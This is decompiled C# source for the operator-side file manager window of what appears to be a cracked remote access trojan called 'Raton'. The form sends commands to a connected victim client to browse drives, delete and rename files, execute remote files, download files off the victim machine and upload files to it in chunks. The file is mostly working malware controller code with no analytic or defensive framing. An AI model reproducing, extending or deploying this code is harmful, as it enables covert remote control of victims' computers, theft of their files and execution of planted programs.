616 lines
26 KiB
C#
616 lines
26 KiB
C#
// Decompiled with JetBrains decompiler
|
|
// Type: Raton.Forms.ClientForms.Monitor.ratonFIleManager
|
|
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
|
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
|
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
|
|
|
using Raton.Classes;
|
|
using Raton.Forms.ClientForms.Dialogs;
|
|
using Raton.Forms.ClientForms.Misc;
|
|
using Raton.Properties;
|
|
using RatonAccessTool.Controls;
|
|
using Server.Connection;
|
|
using Stuff;
|
|
using System;
|
|
using System.ComponentModel;
|
|
using System.Drawing;
|
|
using System.IO;
|
|
using System.Text;
|
|
using System.Threading;
|
|
using System.Threading.Tasks;
|
|
using System.Windows.Forms;
|
|
|
|
#nullable disable
|
|
namespace Raton.Forms.ClientForms.Monitor;
|
|
|
|
public class ratonFIleManager : Form
|
|
{
|
|
private IContainer components;
|
|
public TextBox textBox1;
|
|
public AeroListView aeroListView1;
|
|
private ColumnHeader columnHeader1;
|
|
private ColumnHeader columnHeader2;
|
|
private ColumnHeader columnHeader3;
|
|
private ColumnHeader columnHeader4;
|
|
public ImageList imageList1;
|
|
private ContextMenuStrip contextMenuStrip1;
|
|
private RgbBuildButton button1;
|
|
private RgbBuildButton button2;
|
|
private ToolStripMenuItem openFileToolStripMenuItem;
|
|
private ToolStripMenuItem renameToolStripMenuItem;
|
|
private ToolStripMenuItem deleteToolStripMenuItem;
|
|
private ToolStripSeparator toolStripSeparator1;
|
|
private ToolStripMenuItem downloadToolStripMenuItem;
|
|
private ToolStripMenuItem uploadToolStripMenuItem;
|
|
private ToolStripSeparator toolStripSeparator2;
|
|
private ToolStripMenuItem newFolderToolStripMenuItem;
|
|
private ToolStripSeparator toolStripSeparator3;
|
|
private ToolStripMenuItem goBackToolStripMenuItem;
|
|
private ToolStripMenuItem reloadToolStripMenuItem;
|
|
public System.Windows.Forms.Timer timer1;
|
|
public AeroListView aeroListView2;
|
|
private ColumnHeader columnHeader5;
|
|
public ImageList imageList2;
|
|
public AeroListView aeroListView3;
|
|
private ColumnHeader columnHeader6;
|
|
private Label label1;
|
|
|
|
public SillyClient SillyClient { get; set; }
|
|
|
|
public ratonFIleManager()
|
|
{
|
|
this.InitializeComponent();
|
|
DarkMode.Start((Form) this);
|
|
}
|
|
|
|
public void Goto(string path)
|
|
{
|
|
if (string.IsNullOrEmpty(path))
|
|
return;
|
|
Pack pack = new Pack();
|
|
pack.SetString("Packet", "Manager");
|
|
pack.SetString("Action", nameof (Goto));
|
|
pack.SetString("Path", path);
|
|
this.SillyClient.Send(pack.Pacc());
|
|
this.aeroListView1.Enabled = false;
|
|
this.aeroListView1.Visible = false;
|
|
}
|
|
|
|
private void timer1_Tick(object sender, EventArgs e)
|
|
{
|
|
if (this.SillyClient != null && this.SillyClient.isConnected())
|
|
return;
|
|
this.Close();
|
|
}
|
|
|
|
private void button2_Click(object sender, EventArgs e)
|
|
{
|
|
string text = this.textBox1.Text;
|
|
if (text.Length < 3)
|
|
return;
|
|
string path = text.Remove(text.LastIndexOfAny(new char[1]
|
|
{
|
|
'\\'
|
|
}, text.LastIndexOf('\\')));
|
|
if (!path.Contains("\\"))
|
|
path += "\\";
|
|
this.Goto(path);
|
|
}
|
|
|
|
private void button1_Click(object sender, EventArgs e) => this.Goto(this.textBox1.Text);
|
|
|
|
private void goBackToolStripMenuItem_Click(object sender, EventArgs e)
|
|
{
|
|
string text = this.textBox1.Text;
|
|
if (text.Length < 3)
|
|
return;
|
|
string path = text.Remove(text.LastIndexOfAny(new char[1]
|
|
{
|
|
'\\'
|
|
}, text.LastIndexOf('\\')));
|
|
if (!path.Contains("\\"))
|
|
path += "\\";
|
|
this.Goto(path);
|
|
}
|
|
|
|
private void reloadToolStripMenuItem_Click(object sender, EventArgs e)
|
|
{
|
|
string text = this.textBox1.Text;
|
|
if (text.Length < 3)
|
|
return;
|
|
string path = text.Remove(text.LastIndexOfAny(new char[1]
|
|
{
|
|
'\\'
|
|
}, text.LastIndexOf('\\')));
|
|
if (!path.Contains("\\"))
|
|
path += "\\";
|
|
this.Goto(path);
|
|
}
|
|
|
|
private void ratonFIleManager_Load(object sender, EventArgs e) => this.timer1.Start();
|
|
|
|
private void deleteToolStripMenuItem_Click(object sender, EventArgs e)
|
|
{
|
|
foreach (ListViewItem selectedItem in this.aeroListView1.SelectedItems)
|
|
{
|
|
Pack pack = new Pack();
|
|
pack.SetString("Packet", "Manager");
|
|
pack.SetString("Action", "Delete");
|
|
pack.SetBool("Folder", selectedItem.SubItems[this.columnHeader3.Index].Text == "Folder");
|
|
pack.SetString("Target", (string) selectedItem.Tag);
|
|
this.SillyClient.Send(pack.Pacc());
|
|
this.Goto(this.textBox1.Text);
|
|
}
|
|
}
|
|
|
|
private void renameToolStripMenuItem_Click(object sender, EventArgs e)
|
|
{
|
|
inputDialog inputDialog = new inputDialog();
|
|
inputDialog.Text = "Rename";
|
|
inputDialog.label1.Text = "Please enter the new name of the file and the extension too";
|
|
inputDialog.textBox1.Text = $"File_{Helpers.Random(5)}.extension";
|
|
if (inputDialog.ShowDialog() != DialogResult.OK)
|
|
return;
|
|
string text = inputDialog.textBox1.Text;
|
|
if (string.IsNullOrEmpty(text))
|
|
return;
|
|
if (this.aeroListView1.SelectedItems.Count > 1)
|
|
{
|
|
int num = 1;
|
|
foreach (ListViewItem selectedItem in this.aeroListView1.SelectedItems)
|
|
{
|
|
Pack pack = new Pack();
|
|
pack.SetString("Packet", "Manager");
|
|
pack.SetString("Action", "Rename");
|
|
pack.SetBool("Folder", selectedItem.SubItems[this.columnHeader3.Index].Text == "Folder");
|
|
pack.SetString("Old", (string) selectedItem.Tag);
|
|
pack.SetString("New", Path.Combine(this.textBox1.Text, $"{text}_{num++.ToString()}"));
|
|
this.SillyClient.Send(pack.Pacc());
|
|
this.Goto(this.textBox1.Text);
|
|
}
|
|
}
|
|
else
|
|
{
|
|
Pack pack = new Pack();
|
|
pack.SetString("Packet", "Manager");
|
|
pack.SetString("Action", "Rename");
|
|
pack.SetBool("Folder", this.aeroListView1.SelectedItems[0].SubItems[this.columnHeader3.Index].Text == "Folder");
|
|
pack.SetString("Old", (string) this.aeroListView1.SelectedItems[0].Tag);
|
|
pack.SetString("New", Path.Combine(this.textBox1.Text, text));
|
|
this.SillyClient.Send(pack.Pacc());
|
|
this.Goto(this.textBox1.Text);
|
|
}
|
|
}
|
|
|
|
private void openFileToolStripMenuItem_Click(object sender, EventArgs e)
|
|
{
|
|
foreach (ListViewItem selectedItem in this.aeroListView1.SelectedItems)
|
|
{
|
|
Pack pack = new Pack();
|
|
pack.SetString("Packet", "Manager");
|
|
pack.SetString("Action", "Open");
|
|
pack.SetString("Target", (string) selectedItem.Tag);
|
|
this.SillyClient.Send(pack.Pacc());
|
|
}
|
|
}
|
|
|
|
private void newFolderToolStripMenuItem_Click(object sender, EventArgs e)
|
|
{
|
|
inputDialog inputDialog = new inputDialog();
|
|
inputDialog.Text = "New folder";
|
|
inputDialog.label1.Text = "Please enter the name of the folder";
|
|
inputDialog.textBox1.Text = "Folder_" + Helpers.Random(3);
|
|
if (inputDialog.ShowDialog() != DialogResult.OK)
|
|
return;
|
|
string text = inputDialog.textBox1.Text;
|
|
if (string.IsNullOrEmpty(text))
|
|
return;
|
|
Pack pack = new Pack();
|
|
pack.SetString("Packet", "Manager");
|
|
pack.SetString("Action", "NewFolder");
|
|
pack.SetString("Target", Path.Combine(this.textBox1.Text, text));
|
|
this.SillyClient.Send(pack.Pacc());
|
|
this.Goto(this.textBox1.Text);
|
|
}
|
|
|
|
private void aeroListView1_MouseDoubleClick(object sender, MouseEventArgs e)
|
|
{
|
|
try
|
|
{
|
|
if (this.aeroListView1.SelectedItems[0].SubItems[this.columnHeader3.Index].Text == "Folder")
|
|
{
|
|
this.Goto((string) this.aeroListView1.SelectedItems[0].Tag);
|
|
}
|
|
else
|
|
{
|
|
foreach (ListViewItem selectedItem in this.aeroListView1.SelectedItems)
|
|
{
|
|
Pack pack = new Pack();
|
|
pack.SetString("Packet", "Manager");
|
|
pack.SetString("Action", "Open");
|
|
pack.SetString("Target", (string) selectedItem.Tag);
|
|
this.SillyClient.Send(pack.Pacc());
|
|
}
|
|
}
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
}
|
|
}
|
|
|
|
private void downloadToolStripMenuItem_Click(object sender, EventArgs e)
|
|
{
|
|
foreach (ListViewItem selectedItem in this.aeroListView1.SelectedItems)
|
|
{
|
|
if (!(selectedItem.SubItems[this.columnHeader3.Index].Text == "Folder"))
|
|
{
|
|
string str1 = Helpers.Random();
|
|
Pack pack = new Pack();
|
|
pack.SetString("Packet", "Download");
|
|
pack.SetString("File", (string) selectedItem.Tag);
|
|
pack.SetString("DUID", str1);
|
|
string str2 = "File ID: ";
|
|
if ((ratonFIle) Application.OpenForms[str2 + str1] == null)
|
|
{
|
|
ratonFIle ratonFile = new ratonFIle();
|
|
ratonFile.Name = str2 + str1;
|
|
ratonFile.Text = str2 + str1;
|
|
ratonFile.SillyClient = this.SillyClient;
|
|
ratonFile.Show();
|
|
this.SillyClient.Send(pack.Pacc());
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
private void uploadToolStripMenuItem_Click(object sender, EventArgs e)
|
|
{
|
|
OpenFileDialog openFileDialog = new OpenFileDialog();
|
|
openFileDialog.Multiselect = true;
|
|
openFileDialog.Filter = "All files (*.*)|*.*";
|
|
if (openFileDialog.ShowDialog() != DialogResult.OK)
|
|
return;
|
|
foreach (string fileName1 in openFileDialog.FileNames)
|
|
{
|
|
string file = fileName1;
|
|
string fileName = Path.GetFileName(file);
|
|
string Duid = Helpers.Random();
|
|
long fileSize = new FileInfo(file).Length;
|
|
ratonFIle fileForm = (ratonFIle) Application.OpenForms["File ID: " + Duid];
|
|
if (fileForm == null)
|
|
{
|
|
ratonFIle ratonFile = new ratonFIle();
|
|
ratonFile.Name = "File ID: " + Duid;
|
|
ratonFile.Text = "File ID: " + Duid;
|
|
ratonFile.SillyClient = this.SillyClient;
|
|
ratonFile.UID = this.SillyClient.uid;
|
|
ratonFile.FileName = Path.GetFileName(file);
|
|
ratonFile.FileSize = fileSize;
|
|
fileForm = ratonFile;
|
|
fileForm.Show();
|
|
Task.Run((Action) (() =>
|
|
{
|
|
if (fileSize > 0L)
|
|
{
|
|
int num1 = 1;
|
|
if (fileSize < 1048576L /*0x100000*/)
|
|
{
|
|
Pack pack = new Pack();
|
|
pack.SetString("Packet", "Upload");
|
|
pack.SetBool("isCompleted", false);
|
|
pack.SetString("TempName", Helpers.MD5_STRING(Encoding.UTF8.GetBytes(fileName + Duid + num1.ToString())));
|
|
pack.Set("FileBytes", File.ReadAllBytes(file));
|
|
this.SillyClient.Send(pack.Pacc());
|
|
fileForm.TotalFileSize += fileSize;
|
|
}
|
|
else
|
|
{
|
|
long length = fileSize;
|
|
byte[] buffer = new byte[1048576 /*0x100000*/];
|
|
using (Stream stream = (Stream) File.OpenRead(file))
|
|
{
|
|
int num2;
|
|
while ((num2 = stream.Read(buffer, 0, buffer.Length)) > 0)
|
|
{
|
|
if (this.SillyClient.isConnected())
|
|
{
|
|
Pack pack = new Pack();
|
|
pack.SetString("Packet", "Upload");
|
|
pack.SetBool("isCompleted", false);
|
|
pack.SetString("TempName", Helpers.MD5_STRING(Encoding.UTF8.GetBytes(Path.GetFileName(file) + Duid + num1++.ToString())));
|
|
pack.Set("FileBytes", buffer);
|
|
this.SillyClient.Send(pack.Pacc());
|
|
fileForm.TotalFileSize += (long) buffer.Length;
|
|
length -= (long) num2;
|
|
if (length < 1048576L /*0x100000*/)
|
|
buffer = new byte[length];
|
|
}
|
|
else
|
|
break;
|
|
}
|
|
}
|
|
}
|
|
Pack pack1 = new Pack();
|
|
pack1.SetString("Packet", "Upload");
|
|
pack1.SetString("DUID", Duid);
|
|
pack1.SetBool("isCompleted", true);
|
|
pack1.SetString("FileName", fileName);
|
|
pack1.SetLong("FileSize", new FileInfo(file).Length);
|
|
pack1.SetString("FilePath", this.textBox1.Text);
|
|
pack1.SetInt("TempCount", num1);
|
|
this.SillyClient.Send(pack1.Pacc());
|
|
}
|
|
Thread.Sleep(800);
|
|
this.Invoke((Delegate) (() => fileForm.flatProgressBar1.Value = 100));
|
|
fileForm.timer2.Stop();
|
|
fileForm.Status("Our rats are confirming...");
|
|
}));
|
|
}
|
|
}
|
|
}
|
|
|
|
private void aeroListView2_SelectedIndexChanged(object sender, EventArgs e)
|
|
{
|
|
if (this.aeroListView2.SelectedItems.Count == 0)
|
|
return;
|
|
this.Goto(this.aeroListView2.SelectedItems[0].Text);
|
|
}
|
|
|
|
private void aeroListView3_SelectedIndexChanged(object sender, EventArgs e)
|
|
{
|
|
if (this.aeroListView3.SelectedItems.Count == 0)
|
|
return;
|
|
this.textBox1.Text = this.aeroListView3.SelectedItems[0].Tag.ToString();
|
|
this.Goto(this.textBox1.Text);
|
|
}
|
|
|
|
protected override void Dispose(bool disposing)
|
|
{
|
|
if (disposing && this.components != null)
|
|
this.components.Dispose();
|
|
base.Dispose(disposing);
|
|
}
|
|
|
|
private void InitializeComponent()
|
|
{
|
|
this.components = (IContainer) new System.ComponentModel.Container();
|
|
AeroListView.ListViewColumnSorter viewColumnSorter1 = new AeroListView.ListViewColumnSorter();
|
|
AeroListView.ListViewColumnSorter viewColumnSorter2 = new AeroListView.ListViewColumnSorter();
|
|
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (ratonFIleManager));
|
|
AeroListView.ListViewColumnSorter viewColumnSorter3 = new AeroListView.ListViewColumnSorter();
|
|
this.textBox1 = new TextBox();
|
|
this.aeroListView1 = new AeroListView();
|
|
this.columnHeader1 = new ColumnHeader();
|
|
this.columnHeader2 = new ColumnHeader();
|
|
this.columnHeader3 = new ColumnHeader();
|
|
this.columnHeader4 = new ColumnHeader();
|
|
this.contextMenuStrip1 = new ContextMenuStrip(this.components);
|
|
this.openFileToolStripMenuItem = new ToolStripMenuItem();
|
|
this.renameToolStripMenuItem = new ToolStripMenuItem();
|
|
this.deleteToolStripMenuItem = new ToolStripMenuItem();
|
|
this.toolStripSeparator1 = new ToolStripSeparator();
|
|
this.downloadToolStripMenuItem = new ToolStripMenuItem();
|
|
this.uploadToolStripMenuItem = new ToolStripMenuItem();
|
|
this.toolStripSeparator2 = new ToolStripSeparator();
|
|
this.newFolderToolStripMenuItem = new ToolStripMenuItem();
|
|
this.toolStripSeparator3 = new ToolStripSeparator();
|
|
this.goBackToolStripMenuItem = new ToolStripMenuItem();
|
|
this.reloadToolStripMenuItem = new ToolStripMenuItem();
|
|
this.imageList1 = new ImageList(this.components);
|
|
this.timer1 = new System.Windows.Forms.Timer(this.components);
|
|
this.button1 = new RgbBuildButton();
|
|
this.button2 = new RgbBuildButton();
|
|
this.aeroListView2 = new AeroListView();
|
|
this.columnHeader5 = new ColumnHeader();
|
|
this.imageList2 = new ImageList(this.components);
|
|
this.aeroListView3 = new AeroListView();
|
|
this.columnHeader6 = new ColumnHeader();
|
|
this.label1 = new Label();
|
|
this.contextMenuStrip1.SuspendLayout();
|
|
this.SuspendLayout();
|
|
this.textBox1.Location = new Point(14, 10);
|
|
this.textBox1.Name = "textBox1";
|
|
this.textBox1.ReadOnly = true;
|
|
this.textBox1.Size = new Size(951, 22);
|
|
this.textBox1.TabIndex = 2;
|
|
this.aeroListView1.BorderStyle = BorderStyle.FixedSingle;
|
|
this.aeroListView1.Columns.AddRange(new ColumnHeader[4]
|
|
{
|
|
this.columnHeader1,
|
|
this.columnHeader2,
|
|
this.columnHeader3,
|
|
this.columnHeader4
|
|
});
|
|
this.aeroListView1.ContextMenuStrip = this.contextMenuStrip1;
|
|
this.aeroListView1.FullRowSelect = true;
|
|
this.aeroListView1.HideSelection = false;
|
|
this.aeroListView1.Location = new Point(362, 40);
|
|
viewColumnSorter1.Order = SortOrder.None;
|
|
viewColumnSorter1.SortColumn = 0;
|
|
this.aeroListView1.LvwColumnSorter = viewColumnSorter1;
|
|
this.aeroListView1.Name = "aeroListView1";
|
|
this.aeroListView1.Size = new Size(804, 545);
|
|
this.aeroListView1.SmallImageList = this.imageList1;
|
|
this.aeroListView1.TabIndex = 0;
|
|
this.aeroListView1.UseCompatibleStateImageBehavior = false;
|
|
this.aeroListView1.View = View.Details;
|
|
this.aeroListView1.MouseDoubleClick += new MouseEventHandler(this.aeroListView1_MouseDoubleClick);
|
|
this.columnHeader1.Text = "Name";
|
|
this.columnHeader1.Width = 243;
|
|
this.columnHeader2.Text = "Date";
|
|
this.columnHeader2.TextAlign = HorizontalAlignment.Center;
|
|
this.columnHeader2.Width = 218;
|
|
this.columnHeader3.Text = "Type";
|
|
this.columnHeader3.TextAlign = HorizontalAlignment.Center;
|
|
this.columnHeader3.Width = 171;
|
|
this.columnHeader4.Text = "Size";
|
|
this.columnHeader4.TextAlign = HorizontalAlignment.Center;
|
|
this.columnHeader4.Width = 170;
|
|
this.contextMenuStrip1.ImageScalingSize = new Size(24, 24);
|
|
this.contextMenuStrip1.Items.AddRange(new ToolStripItem[11]
|
|
{
|
|
(ToolStripItem) this.openFileToolStripMenuItem,
|
|
(ToolStripItem) this.renameToolStripMenuItem,
|
|
(ToolStripItem) this.deleteToolStripMenuItem,
|
|
(ToolStripItem) this.toolStripSeparator1,
|
|
(ToolStripItem) this.downloadToolStripMenuItem,
|
|
(ToolStripItem) this.uploadToolStripMenuItem,
|
|
(ToolStripItem) this.toolStripSeparator2,
|
|
(ToolStripItem) this.newFolderToolStripMenuItem,
|
|
(ToolStripItem) this.toolStripSeparator3,
|
|
(ToolStripItem) this.goBackToolStripMenuItem,
|
|
(ToolStripItem) this.reloadToolStripMenuItem
|
|
});
|
|
this.contextMenuStrip1.Name = "contextMenuStrip1";
|
|
this.contextMenuStrip1.Size = new Size(141, 262);
|
|
this.openFileToolStripMenuItem.Image = (Image) Resources.Execute_16x;
|
|
this.openFileToolStripMenuItem.Name = "openFileToolStripMenuItem";
|
|
this.openFileToolStripMenuItem.Size = new Size(140, 30);
|
|
this.openFileToolStripMenuItem.Text = "Execute";
|
|
this.openFileToolStripMenuItem.Click += new EventHandler(this.openFileToolStripMenuItem_Click);
|
|
this.renameToolStripMenuItem.Image = (Image) Resources.Rename_16x;
|
|
this.renameToolStripMenuItem.Name = "renameToolStripMenuItem";
|
|
this.renameToolStripMenuItem.Size = new Size(140, 30);
|
|
this.renameToolStripMenuItem.Text = "Rename";
|
|
this.renameToolStripMenuItem.Click += new EventHandler(this.renameToolStripMenuItem_Click);
|
|
this.deleteToolStripMenuItem.Image = (Image) Resources.DeleteAllRows_16x;
|
|
this.deleteToolStripMenuItem.Name = "deleteToolStripMenuItem";
|
|
this.deleteToolStripMenuItem.Size = new Size(140, 30);
|
|
this.deleteToolStripMenuItem.Text = "Delete";
|
|
this.deleteToolStripMenuItem.Click += new EventHandler(this.deleteToolStripMenuItem_Click);
|
|
this.toolStripSeparator1.Name = "toolStripSeparator1";
|
|
this.toolStripSeparator1.Size = new Size(137, 6);
|
|
this.downloadToolStripMenuItem.Image = (Image) Resources.ClearCollection_ActionGray_16x;
|
|
this.downloadToolStripMenuItem.Name = "downloadToolStripMenuItem";
|
|
this.downloadToolStripMenuItem.Size = new Size(140, 30);
|
|
this.downloadToolStripMenuItem.Text = "Download";
|
|
this.downloadToolStripMenuItem.Click += new EventHandler(this.downloadToolStripMenuItem_Click);
|
|
this.uploadToolStripMenuItem.Image = (Image) Resources.Copy_16x;
|
|
this.uploadToolStripMenuItem.Name = "uploadToolStripMenuItem";
|
|
this.uploadToolStripMenuItem.Size = new Size(140, 30);
|
|
this.uploadToolStripMenuItem.Text = "Upload";
|
|
this.uploadToolStripMenuItem.Click += new EventHandler(this.uploadToolStripMenuItem_Click);
|
|
this.toolStripSeparator2.Name = "toolStripSeparator2";
|
|
this.toolStripSeparator2.Size = new Size(137, 6);
|
|
this.newFolderToolStripMenuItem.Image = (Image) Resources.FolderBottomPanel_16x;
|
|
this.newFolderToolStripMenuItem.Name = "newFolderToolStripMenuItem";
|
|
this.newFolderToolStripMenuItem.Size = new Size(140, 30);
|
|
this.newFolderToolStripMenuItem.Text = "New folder";
|
|
this.newFolderToolStripMenuItem.Click += new EventHandler(this.newFolderToolStripMenuItem_Click);
|
|
this.toolStripSeparator3.Name = "toolStripSeparator3";
|
|
this.toolStripSeparator3.Size = new Size(137, 6);
|
|
this.goBackToolStripMenuItem.Image = (Image) Resources.Backwards_disabled_16x;
|
|
this.goBackToolStripMenuItem.Name = "goBackToolStripMenuItem";
|
|
this.goBackToolStripMenuItem.Size = new Size(140, 30);
|
|
this.goBackToolStripMenuItem.Text = "Go back";
|
|
this.goBackToolStripMenuItem.Click += new EventHandler(this.goBackToolStripMenuItem_Click);
|
|
this.reloadToolStripMenuItem.Image = (Image) Resources.Refresh_greyThin_16x;
|
|
this.reloadToolStripMenuItem.Name = "reloadToolStripMenuItem";
|
|
this.reloadToolStripMenuItem.Size = new Size(140, 30);
|
|
this.reloadToolStripMenuItem.Text = "Reload";
|
|
this.reloadToolStripMenuItem.Click += new EventHandler(this.reloadToolStripMenuItem_Click);
|
|
this.imageList1.ColorDepth = ColorDepth.Depth32Bit;
|
|
this.imageList1.ImageSize = new Size(16 /*0x10*/, 16 /*0x10*/);
|
|
this.imageList1.TransparentColor = Color.Transparent;
|
|
this.timer1.Tick += new EventHandler(this.timer1_Tick);
|
|
this.button1.Cursor = Cursors.Arrow;
|
|
this.button1.Font = new Font("Segoe UI Semibold", 10.5f);
|
|
this.button1.ForeColor = Color.White;
|
|
this.button1.Icon = (Image) Resources.ic_fluent_arrow_reset_24_filled;
|
|
this.button1.IconSize = 16 /*0x10*/;
|
|
this.button1.IconSpacing = 3;
|
|
this.button1.Location = new Point(1074, 3);
|
|
this.button1.Name = "button1";
|
|
this.button1.Size = new Size(92, 31 /*0x1F*/);
|
|
this.button1.TabIndex = 4;
|
|
this.button1.Text = "Reload";
|
|
this.button1.Click += new EventHandler(this.button1_Click);
|
|
this.button2.Cursor = Cursors.Arrow;
|
|
this.button2.Font = new Font("Segoe UI Semibold", 10.5f);
|
|
this.button2.ForeColor = Color.White;
|
|
this.button2.Icon = (Image) Resources.ic_fluent_backspace_24_filled;
|
|
this.button2.IconSize = 16 /*0x10*/;
|
|
this.button2.IconSpacing = 3;
|
|
this.button2.Location = new Point(971, 3);
|
|
this.button2.Name = "button2";
|
|
this.button2.Size = new Size(97, 31 /*0x1F*/);
|
|
this.button2.TabIndex = 5;
|
|
this.button2.Text = "Go back";
|
|
this.button2.Click += new EventHandler(this.button2_Click);
|
|
this.aeroListView2.BorderStyle = BorderStyle.FixedSingle;
|
|
this.aeroListView2.Columns.AddRange(new ColumnHeader[1]
|
|
{
|
|
this.columnHeader5
|
|
});
|
|
this.aeroListView2.FullRowSelect = true;
|
|
this.aeroListView2.HideSelection = false;
|
|
this.aeroListView2.Location = new Point(14, 40);
|
|
viewColumnSorter2.Order = SortOrder.None;
|
|
viewColumnSorter2.SortColumn = 0;
|
|
this.aeroListView2.LvwColumnSorter = viewColumnSorter2;
|
|
this.aeroListView2.MultiSelect = false;
|
|
this.aeroListView2.Name = "aeroListView2";
|
|
this.aeroListView2.Size = new Size(342, 277);
|
|
this.aeroListView2.SmallImageList = this.imageList2;
|
|
this.aeroListView2.TabIndex = 6;
|
|
this.aeroListView2.UseCompatibleStateImageBehavior = false;
|
|
this.aeroListView2.View = View.Details;
|
|
this.aeroListView2.SelectedIndexChanged += new EventHandler(this.aeroListView2_SelectedIndexChanged);
|
|
this.columnHeader5.Text = "Drives";
|
|
this.columnHeader5.Width = 340;
|
|
this.imageList2.ImageStream = (ImageListStreamer) componentResourceManager.GetObject("imageList2.ImageStream");
|
|
this.imageList2.TransparentColor = Color.Transparent;
|
|
this.imageList2.Images.SetKeyName(0, "df0nr8k-b42efd9c-be6b-41c0-9659-817a6d429cbe.png");
|
|
this.imageList2.Images.SetKeyName(1, "USerWin.png");
|
|
this.aeroListView3.BorderStyle = BorderStyle.FixedSingle;
|
|
this.aeroListView3.Columns.AddRange(new ColumnHeader[1]
|
|
{
|
|
this.columnHeader6
|
|
});
|
|
this.aeroListView3.FullRowSelect = true;
|
|
this.aeroListView3.HideSelection = false;
|
|
this.aeroListView3.Location = new Point(14, 323);
|
|
viewColumnSorter3.Order = SortOrder.None;
|
|
viewColumnSorter3.SortColumn = 0;
|
|
this.aeroListView3.LvwColumnSorter = viewColumnSorter3;
|
|
this.aeroListView3.MultiSelect = false;
|
|
this.aeroListView3.Name = "aeroListView3";
|
|
this.aeroListView3.Size = new Size(342, 262);
|
|
this.aeroListView3.SmallImageList = this.imageList2;
|
|
this.aeroListView3.TabIndex = 7;
|
|
this.aeroListView3.UseCompatibleStateImageBehavior = false;
|
|
this.aeroListView3.View = View.Details;
|
|
this.aeroListView3.SelectedIndexChanged += new EventHandler(this.aeroListView3_SelectedIndexChanged);
|
|
this.columnHeader6.Text = "Quick access";
|
|
this.columnHeader6.Width = 340;
|
|
this.label1.AutoSize = true;
|
|
this.label1.Font = new Font("Microsoft JhengHei", 12f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
|
this.label1.Location = new Point(741, 297);
|
|
this.label1.Name = "label1";
|
|
this.label1.Size = new Size(82, 20);
|
|
this.label1.TabIndex = 8;
|
|
this.label1.Text = "Loading...";
|
|
this.AutoScaleDimensions = new SizeF(7f, 15f);
|
|
this.AutoScaleMode = AutoScaleMode.Font;
|
|
this.ClientSize = new Size(1181, 604);
|
|
this.Controls.Add((Control) this.aeroListView3);
|
|
this.Controls.Add((Control) this.aeroListView2);
|
|
this.Controls.Add((Control) this.button2);
|
|
this.Controls.Add((Control) this.button1);
|
|
this.Controls.Add((Control) this.textBox1);
|
|
this.Controls.Add((Control) this.aeroListView1);
|
|
this.Controls.Add((Control) this.label1);
|
|
this.Font = new Font("Microsoft JhengHei", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
|
this.FormBorderStyle = FormBorderStyle.FixedSingle;
|
|
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
|
|
this.MaximizeBox = false;
|
|
this.Name = nameof (ratonFIleManager);
|
|
this.StartPosition = FormStartPosition.CenterScreen;
|
|
this.Text = nameof (ratonFIleManager);
|
|
this.Load += new EventHandler(this.ratonFIleManager_Load);
|
|
this.contextMenuStrip1.ResumeLayout(false);
|
|
this.ResumeLayout(false);
|
|
this.PerformLayout();
|
|
}
|
|
}
|